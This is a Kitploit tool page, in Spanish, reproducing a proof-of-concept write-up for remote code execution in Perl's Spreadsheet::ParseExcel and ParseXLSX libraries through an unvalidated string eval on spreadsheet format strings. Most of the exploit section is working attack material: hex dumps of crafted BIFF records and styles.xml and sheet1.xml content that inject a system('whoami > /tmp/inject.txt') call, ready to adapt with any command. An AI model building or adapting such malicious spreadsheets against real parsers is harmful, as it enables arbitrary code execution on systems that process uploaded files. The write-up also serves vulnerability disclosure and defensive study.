Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
perl_spreadsheet_excel_rce_poc — POC para la vulnerabilidad RCE en la librería ParseExcel, y también en ParseXLSX, como librería dependiente. | Kitploit
Herramientas/GitHubGitHub/haile01/perl_spreadsheet_excel_rce_poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebDesarrollo de PayloadsExplotación de Binarios
GitHubhaile01/perl_spreadsheet_excel_rce_poc

perl_spreadsheet_excel_rce_poc

POC para la vulnerabilidad RCE en la librería ParseExcel, y también en ParseXLSX, como librería dependiente.

Ver Repositorio
1862hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad de seguridad en ParseExcel

TL;DR: RCE a partir de la lógica en el análisis de cadenas de formato.

Explicación breve sobre el exploit

La causa raíz de la explotación proviene de llamar a eval sobre una entrada de usuario no validada en Utility.pm

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/Utility.pm#L171

root@kitploit:~
# Uitlity.pm
sub ExcelFmt {
	my ( $format_str, $number, $is_1904, $number_type, $want_subformats ) = @_;

	return $number unless $number =~ $qrNUMBER;
	
	my $conditional;
	if ( $format_str =~ /^\[([<>=][^\]]+)\](.*)$/ ) {
		$conditional = $1;
		$format_str  = $2;
	}

	#...

	if ($conditional) {
		# TODO. Replace string eval with a function.
		$section = eval "$number $conditional" ? 0 : 1;
	}
    #...
}

Según lo que inspeccioné, la implementación actual de este flujo carece de una validación adecuada, y usar para manejar la lógica de comparación es excesivo ("over kill") en este caso. Debido a esto, tanto como (usados para leer datos de archivos Excel) son vulnerables a RCE.

eval
ParseExcel::parse
ParseXLSX::parse

¿Dónde está $format_str?

ValFmt es el llamador más probable de ExcelFmt, así que explicaré más a fondo este método.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L141-L161

root@kitploit:~
sub ValFmt {
    my ( $oThis, $oCell, $oBook ) = @_;

    my ( $Dt, $iFmtIdx, $iNumeric, $Flg1904 );

    if ( $oCell->{Type} eq 'Text' ) {
        $Dt =
          ( ( defined $oCell->{Val} ) && ( $oCell->{Val} ne '' ) )
          ? $oThis->TextFmt( $oCell->{Val}, $oCell->{Code} ) # Perform some encoding logic => doesn't cause RCE
          : '';

        return $Dt;
    }
    else {
        $Dt      = $oCell->{Val};
        $Flg1904 = $oBook->{Flg1904};
        my $sFmtStr = $oThis->FmtString( $oCell, $oBook );

        # where RCE lies => $oCell->{Type} must be either "Date" or "Number"
        return ExcelFmt( $sFmtStr, $Dt, $Flg1904, $oCell->{Type} ); 
    }
}

Si $oCell->{Type} es Date o Number, se llamará a ExcelFmt.

El valor $format_str es el que devuelve otro método: FmtString.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L101-L136

root@kitploit:~
sub FmtString {
    my ( $oThis, $oCell, $oBook ) = @_;

    my $sFmtStr =
      $oThis->FmtStringDef( $oBook->{Format}[ $oCell->{FormatNo} ]->{FmtIdx},
        $oBook ); # maps to the correct format string
        
    #...

    unless ( defined($sFmtStr) ) {
        # assigns default format string depending on the value, can ignore
        #...
    }
    return $sFmtStr;
}

Se llama a otra función, así que examinaremos también FmtStringDef.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L87-L96

root@kitploit:~
sub FmtStringDef {
    my ( $oThis, $iFmtIdx, $oBook, $rhFmt ) = @_;
    my $sFmtStr = $oBook->{FormatStr}->{$iFmtIdx}; # does the mapping

    # More with assigning default format string, can ignore
    #...
}

Con todas las variables claras, podemos concluir el vector de ataque de la siguiente manera:

  • Inyectar la cadena de formato maliciosa con el índice $iFmtIdx
  • Asegurarse de que un formato de celda $oBook->{Format}[$cellFmtIdx] apunte a $iFmtIdx
  • Asegurarse de que una celda apunte a ese formato de celda ($oCell->{FormatNo} = $cellFmtIdx)

![[flow 1.png]]

En las secciones siguientes, explicaré en detalle cómo el payload propagó el código shell hasta el comando eval. Habrá 2 secciones: una para analizar archivos .xls con ParseExcel y otra para analizar archivos .xlsx con ParseXLSX.

PoC

Para demostrarlo, abajo está el enlace a nuestros archivos Excel maliciosos (en .xls y .xlsx) que ejecutan whoami y guardan el resultado en el archivo /tmp/inject.txt.

https://gist.github.com/haile01/0f4f19e4441895ef33ff27385080478b

Explotación en archivo XLS

Tomemos un programa Perl simple para analizar el archivo xls como el siguiente, que usa ParseExcel::parse. La RCE ocurrirá mientras se realiza el análisis, incluso antes de que se obtenga cualquier dato.

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;

my $parser = Spreadsheet::ParseExcel->new();
# file.xls is malicious file from end user
my $workbook = $parser->parse("test.xls");

Inyección de la cadena de formato

Los archivos binarios de Excel 97 están estructurados en fragmentos de datos binarios llamados registros BIFF. Cada registro comienza con una cabecera llamada opCode (en little-endian), luego la longitud del registro y sus datos reales.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L438

root@kitploit:~
sub QueryNext {
    my ( $q ) = @_;


    if ( $q->{streamPos} + 4 >= $q->{streamLen} ) {
        return 0;
    }

    my $data = substr( $q->{stream}, $q->{streamPos}, 4 );

    ( $q->{opcode}, $q->{length} ) = unpack( 'v2', $data );

    # No biff record should be larger than around 20,000.
    if ( $q->{length} >= 20000 ) {
        return 0;
    }

    if ( $q->{length} > 0 ) {
        $q->{data} = substr( $q->{stream}, $q->{streamPos} + 4, $q->{length} );
    }
    else {
        $q->{data}                     = undef;
        $q->{dont_decrypt_next_record} = 1;
    }

    if ( $q->{encryption} == MS_BIFF_CRYPTO_RC4 ) {
        # Handles with decryption
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_XOR ) {
        # not implemented
        return 0;
    }
    elsif ( $q->{encryption} == MS_BIFF_CRYPTO_NONE ) {

    }

    $q->{streamPos} += 4 + $q->{length};

    return 1;
}

Después de eso, se utiliza un manejador correspondiente al tipo de registro para extraer los datos de ese registro BIFF.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L576-L580

root@kitploit:~
if ( defined $self->{FuncTbl}->{$record} && !$workbook->{_skip_chart} )
{
		$self->{FuncTbl}->{$record}
			->( $workbook, $record, $record_length, $record_header );
}

La cadena de formato es manejada por _subFormat, con opCode = 0x41E

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1563-L1585

root@kitploit:~
sub _subFormat {

    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    my $sFmt;

    if ( $oBook->{BIFFVersion} <= verBIFF5 ) {
        $sFmt = substr( $sWk, 3, unpack( 'c', substr( $sWk, 2, 1 ) ) );
        $sFmt = $oBook->{FmtClass}->TextFmt( $sFmt, '_native_' );
    }
    else {
        $sFmt = _convBIFF8String( $oBook, substr( $sWk, 2 ) );
    }

    my $format_index = unpack( 'v', substr( $sWk, 0, 2 ) );

    # Excel 4 and earlier used an index of 0 to indicate that a built-in format
    # that was stored implicitly.
    if ( $oBook->{BIFFVersion} <= verBIFF4 && $format_index == 0 ) {
        $format_index = keys %{ $oBook->{FormatStr} };
    }

    $oBook->{FormatStr}->{$format_index} = $sFmt;
}

No estaba seguro de qué versión de BIFF se usaba en mi archivo .xls, pero según los datos del archivo binario, debería coincidir con el caso else (> verBIFF5).

La estructura del registro de cadena de formato en versiones más nuevas de BIFF debería ser

1E 04 [longitud del registro - 2 bytes] [índice de la cadena de formato - 2 bytes] [longitud de la cadena de formato - 1 byte] [banderas de cadena - 2 bytes] [contenido de la cadena de formato]

Siguiendo la estructura correcta, puedo inyectar cualquier cadena de formato en el archivo .xls.

El registro BIFF real de la cadena de formato que inyecté en el PoC (el índice de la cadena de formato es \x00\xa5)

root@kitploit:~
00000000: 1e04 3100 a500 2c00 005b 3e31 3233 3b73  ..1...,..[>123;s
                    ^^^^
		        format string index
00000010: 7973 7465 6d28 2777 686f 616d 6920 3e20  ystem('whoami >
00000020: 2f74 6d70 2f69 6e6a 6563 742e 7478 7427  /tmp/inject.txt'
00000030: 295d 3132 33                             )]123

Mapeo de un formato de celda a la cadena de formato

Los formatos de celda definen muchas propiedades para una celda, como la cadena de formato, el estilo, las fuentes, ... Un formato de celda puede enlazar a una cadena de formato incluyendo el índice de la cadena de formato dentro de su registro BIFF. Esta lógica es manejada por _subXf.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L1441-L1558

root@kitploit:~
sub _subXF {
    my ( $oBook, $bOp, $bLen, $sWk ) = @_;
    
    #...

    if ( $oBook->{BIFFVersion} == verBIFF4 ) {
        #...
    }
    elsif ( $oBook->{BIFFVersion} == verBIFF8 ) {
        my ( $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn );

        ( $iFnt, $iIdx, $iGen, $iAlign, $iGen2, $iBdr1, $iBdr2, $iBdr3, $iPtn )
          = unpack( "v7Vv", $sWk );
        #...
    }
    else {
        ( $iFnt, $iIdx, $iGen, $iAlign, $iPtn, $iPtn2, $iBdr1, $iBdr2 ) =
          unpack( "v8", $sWk );
        #...
    }

    push @{ $oBook->{Format} }, Spreadsheet::ParseExcel::Format->new(
        FontNo => $iFnt,
        Font   => $oBook->{Font}[$iFnt],
        FmtIdx => $iIdx, # <- the index that points to format string index
        #...
    );
}

Debido a que nuestro BIFFVersion es mayor que BIFF5, la condición no debería caer en el primer caso. Para los otros dos, sabemos que $iIdx es la segunda palabra en los datos BIFF. Por eso también es trivial realizar este paso.

El registro BIFF real para el formato de celda que usé en el PoC

root@kitploit:~
00000000: e000 1400 0000 a500 f5ff 2000 0000 0000  .......... .....
                         ^^^^
                  format string index
00000010: 0000 0000 0000 c020                      .......

Además, los formatos de celda se identifican por su índice en una lista, así que modifiqué el primer registro; por lo tanto, mi índice de formato de celda debería ser 0.

Mapeo de una celda al formato de celda

Para que una celda aplique un formato, debe incluir el ID del formato de celda dentro del registro BIFF de la celda. Sin embargo, como mencioné antes, solo las celdas de tipo Number o Date pueden desencadenar la RCE, así que usaré una celda con tipo fecha para el PoC (referida como registro BIFF RK).

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/19ea68d2ebf640e06df4f6937fcb43d76a5ec96b/lib/Spreadsheet/ParseExcel.pm#L918-L939

root@kitploit:~
sub _subRK {
    my ( $workbook, $biff_number, $length, $data ) = @_;
    my ( $row, $col, $format_index, $rk_number ) = unpack( 'vvvV', $data );
    my $number = _decode_rk_number( $rk_number );

    _NewCell(
        $workbook, $row, $col,
        Kind     => 'RK',
        Val      => $number,
        FormatNo => $format_index,
        Format   => $workbook->{Format}->[$format_index],
        Numeric  => 1,
        Code     => undef,
        Book     => $workbook,
    );
    #... 
}

Podemos ver que el índice que mapea a un formato de celda es ahora la tercera palabra del registro, así que todo lo que necesitamos hacer es poner a cero esta palabra con \x00.

El registro BIFF real para la celda de fecha que usé en el PoC

root@kitploit:~
00000000: 7e02 0a00 0000 0000 0000 201a e240       ~......... ..@
                              ^^^^
	                        format index

Nótese que el método _subRK no ha definido explícitamente el tipo Date todavía. La comprobación de tipo se implementa en chkType en su lugar.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel/FmtDefault.pm#L166-L181

root@kitploit:~
sub ChkType {
    my ( $oPkg, $iNumeric, $iFmtIdx ) = @_;
    if ($iNumeric) {
        if (   ( ( $iFmtIdx >= 0x0E ) && ( $iFmtIdx <= 0x16 ) )
            || ( ( $iFmtIdx >= 0x2D ) && ( $iFmtIdx <= 0x2F ) ) )
        {
            return "Date";
        }
        else {
            return "Numeric";
        }
    }
    else {
        return "Text";
    }
}

Dado que $iNumeric es 1, estamos seguros de que el tipo no es Text.

Finalmente, al inicializar un nuevo objeto Cell, se llamará a ValFmt y continuará con la cadena de ejecución, propagando nuestro shell al método eval.

https://github.com/jmcnamara/spreadsheet-parseexcel/blob/e33d626d9b9cec91be7520dec1686712313957fb/lib/Spreadsheet/ParseExcel.pm#L2375-L2433

Explotación en archivo XLSX

Trabajar con el archivo .xlsx es bastante más fácil, ya que podemos modificar directamente los datos en texto plano (formato xml).

Tomemos un programa Perl simple para analizar el archivo xlsx como el siguiente, que usa ParseXLSX::parse. La RCE ocurrirá mientras se realiza el análisis, incluso antes de que se obtenga cualquier dato.

root@kitploit:~
use strict;
use Spreadsheet::ParseExcel;
use Spreadsheet::ParseXLSX;

my $parser = Spreadsheet::ParseXLSX->new();
# file.xlsx is malicious file from end user
my $workbook = $parser->parse("test.xlsx");

El archivo XLSX es un archivo zip que comprime muchos archivos xml, cada uno conteniendo tipos específicos de datos del libro de trabajo.

root@kitploit:~
|- [Content_Types].xml 
|- _rels
|- docProps
	|- app.xml
	|- core.xml
|- xl
	|- _rels   
		|- workbook.xml.rels          
	|- styles.xml              <--- Format strings & cell formats       
	|- workbook.xml
	|- sharedStrings.xml 
	|- theme             
		|- theme1.xml
	|- worksheets
		|- sheet1.xml            <--- Cell values

Inyección de la cadena de formato y mapeo a un formato de celda

La cadena de formato se incluye en el archivo xl/styles.xml, bajo la etiqueta <numFmts>, mientras que los formatos de celda se definen bajo la etiqueta <cellXfs>.

https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L630-L923

root@kitploit:~
sub _parse_styles {
    # ...
    my %format_str = (
        %default_format_str,
        (map {
            $_->att('numFmtId') => $_->att('formatCode')
        } $styles->find_nodes('//s:numFmts/s:numFmt')),
    );
    # ...
    my @format = map {
        my %opts = (
            %default_format_opts,
            %ignore,
        );
        # ...
        $opts{FmtIdx}   = 0+($xml_fmt->att('numFmtId')||0);
        # ...
        Spreadsheet::ParseExcel::Format->new(%opts)
    } $styles->find_nodes('//s:cellXfs/s:xf');
    # ...
    
    
    return {
        FormatStr => \%format_str,
        Font      => \@font,
        Format    => \@format,
    }
}

Para inyectar una cadena de formato, necesitamos añadir una etiqueta <numFmt>, con formatCode como la cadena de formato, y numFmtId como cualquier valor entero que queramos. Aquí usé 123.

Después de eso, añadiremos una celda <xf> más para mapear a la cadena de formato, donde el atributo numFmtId será nuestro id elegido (123).

Los datos xml finales que usé en el PoC

root@kitploit:~
<!-- xl/styles.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:x16r2="http://schemas.microsoft.com/office/spreadsheetml/2015/02/main" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" mc:Ignorable="x14ac x16r2 xr">
...
  <numFmts count="1">
    <!-- injected format string -->
    <numFmt numFmtId="123" formatCode="[>123;system('whoami > /tmp/inject.txt')]123"/>
  </numFmts> 
...
  <cellXfs count="4">
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0"/>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1">
      <alignment horizontal="center"/>
    </xf>
    <xf numFmtId="0" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
    <!-- injected cell format -->
    <xf numFmtId="123" fontId="0" fillId="0" borderId="0" xfId="0" applyAlignment="1"/>
  </cellXfs>
...
</styleSheet>

Mapeo de una celda al formato de celda

https://github.com/doy/spreadsheet-parsexlsx/blob/80198923186bedda61d4dceb0272210dc8bec533/lib/Spreadsheet/ParseXLSX.pm#L205-L487

root@kitploit:~
sub _parse_sheet {
    my $sheet_xml = $self->_new_twig(
        twig_roots => {
            #...
            's:sheetData/s:row' => sub {
                my ( $twig, $row_elt ) = @_;
                for my $cell ( $row_elt->children('s:c') ){
                    my $type = $cell->att('t') || 'n';
                    my $val = $val_xml ? $val_xml->text : undef;

                    #...
                    elsif ($type eq 'n') {
                        $long_type = 'Numeric';
                        $val = defined($val) ? 0+$val : undef;
                    }
                    elsif ($type eq 'd') {
                        $long_type = 'Date';
                    }
                    # other $type results into $long_type = 'Text'
                    #...
                    
                    my $format_idx = $cell->att('s') || 0;
                    my $format = $sheet->{_Book}{Format}[$format_idx];
                    die "unknown format $format_idx" unless $format;
                    
                    my $cell = Spreadsheet::ParseExcel::Cell->new(
                        Val      => $val,
                        Type     => $long_type,
                        Merged   => undef, # fix up later
                        Format   => $format,
                        FormatNo => $format_idx,
                        ($formula
                            ? (Formula => $formula->text)
                            : ()),
                        Rich     => $Rich,
                    );
                    $cell->{_Value} = $sheet->{_Book}{FmtClass}->ValFmt(
                        $cell, $sheet->{_Book}
                    );
                }
            }
        }
    )
}

La lógica para leer los datos de celda en esta librería es más directa: solo asigna el tipo y el valor directamente desde los atributos de la etiqueta xml. Dado que necesitamos que $oCell->{Type} sea Date o Numeric, solo necesitamos que el atributo t sea d o n. Para mapear la celda al formato de celda, también estableceremos el atributo s al índice del formato de celda (3).

Los datos xml finales que usé en el PoC

root@kitploit:~
<!-- xl/worksheets/sheet1.xml -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" mc:Ignorable="x14ac xr xr2 xr3" xr:uid="{39528CB2-0246-0542-84DC-33008C4AE4F2}">
  ...
  <sheetData>
    <row r="1" spans="1:2" x14ac:dyDescent="0.2">
      <c r="A1" s="3" t="n"> <!-- 3 is the order of our cell format -->
        <v>0</v>
      </c>
      <c r="B1" s="2"/>
    </row>
  </sheetData>
  ...
</worksheet>
Descargar herramienta